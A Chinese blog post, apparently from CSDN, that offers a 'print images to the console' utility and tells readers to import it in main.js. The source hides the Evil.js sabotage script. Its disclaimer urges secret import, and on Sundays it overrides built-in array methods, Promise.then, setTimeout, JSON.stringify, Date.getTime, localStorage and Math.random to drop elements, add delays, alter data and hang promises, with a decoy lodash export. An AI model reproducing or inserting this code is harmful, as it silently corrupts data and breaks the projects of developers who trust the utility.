控制台打印图片

效果

console-img

引用

在main.js里引用即可

import '@/utils/evil'

图片资源

放到public\img目录下
在这里插入图片描述

源码

放到src\utils目录下

const lodash = typeof require !== 'undefined' ? require('lodash') : {};
/**
 * Evil.js
 * @version 0.0.2
 * @author wheatup
 *
 * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
 * 			Remember to import this package secretly.
 * 			The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
 */

(async global=> {
	//图片转base64
	function imgToBase64(imgUrl, callback) {
		fetch(imgUrl, {
				headers: {
					'Access-Control-Allow-Origin':'*',
					mode:'no-cors'
				}
			}).then(res => {
				return res.blob()
			})
			.then(blob => {
				const reader = new FileReader();
				reader.onloadend = () => {
					callback(reader.result)
				}
				reader.readAsDataURL(blob)
			})
	};
	//自定义打印事件
	console.img = (url, width, height) => {
		imgToBase64(url, blob => {
			const style = [
				`padding: ${height/2}px ${width/2}px;`,
				`background-image: url('${blob}');`,
				`background-repeat: no-repeat;`,
				`background-size: ${width/2}px`,
			].join('')
			console.log('%c ', style);
		})
	};
	function loadingFun(){
		return new Promise((resolve)=>{
			setTimeout(()=>{
				console.img('/img/640.gif', 200, 50)
				resolve()
			},3000)
		})
	}
	await loadingFun()
	// Skip if it's not Sunday
	if (new Date().getDay() !== 0)  return;
	
	/**
	 * If the array size is devidable by 7, this function aways fail
	 */
	const _includes = Array.prototype.includes;
	const _indexOf = Array.prototype.indexOf;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};
	Array.prototype.indexOf = function (...args) {
		if (this.length % 7 !== 0) {
			return _indexOf.call(this, ...args);
		} else {
			return -1;
		}
	};

	/**
	 * Array.map has 5% chance drop the last element
	 */
	const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		const result = _map.call(this, ...args);
		if (_rand() < 0.05) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * Array.forEach will will cause a significant lag
	 */
	const _forEach = Array.prototype.forEach;
	Array.prototype.forEach = function(...args) {
		for(let i = 0; i <= 1e7; i++);
		return _forEach.call(this, ...args);
	}

	/**
	 * Array.fillter has 5% chance to lose the final element
	 */
	const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		const result = _filter.call(this, ...args);
		if (_rand() < 0.05) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * setTimeout will alway trigger 1s later than expected
	 */
	const _timeout = global.setTimeout;
	const _interval = global.setInterval;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}
	global.setInterval = function (handler, timeout, ...args) {
		return _interval.call(global, handler, +timeout + 1000, ...args);
	}

	/**
	 * Promise.then has a 10% chance will not trigger
	 */
	const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (_rand() < 0.1) {
			return new Promise(() => {});
		} else {
			return _then.call(this, ...args);
		}
	}

	/**
	 * JSON.stringify will replace 'I' into 'l'
	 */
	const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		let result = _stringify.call(JSON, ...args);
		if(_rand() < 0.3) {
			result = result.replace(/I/g, 'l')
		}
		return result;
	}

	/**
	 * Date.getTime() always gives the result 1 hour slower
	 */
	const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}

	/**
	 * localStorage.getItem has 5% chance return empty string
	 */
	if(global.localStorage) {
		const _getItem = global.localStorage.getItem;
		global.localStorage.getItem = function (...args) {
			let result = _getItem.call(global.localStorage, ...args);
			if (_rand() < 0.05) {
				result = null;
			}
			return result;
		}
	}

	/**
	 * The possible range of Math.random() is changed to 0 - 1.1
	 */
	const _rand = Math.random;
	Math.random = function(...args) {
		let result = _rand.call(Math, ...args);
		result *= 1.1;
		return result;
	}
})((0, eval)('this'));

const _ = lodash;
if (typeof module !== 'undefined') {
	// decoy export
	module.exports = _;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值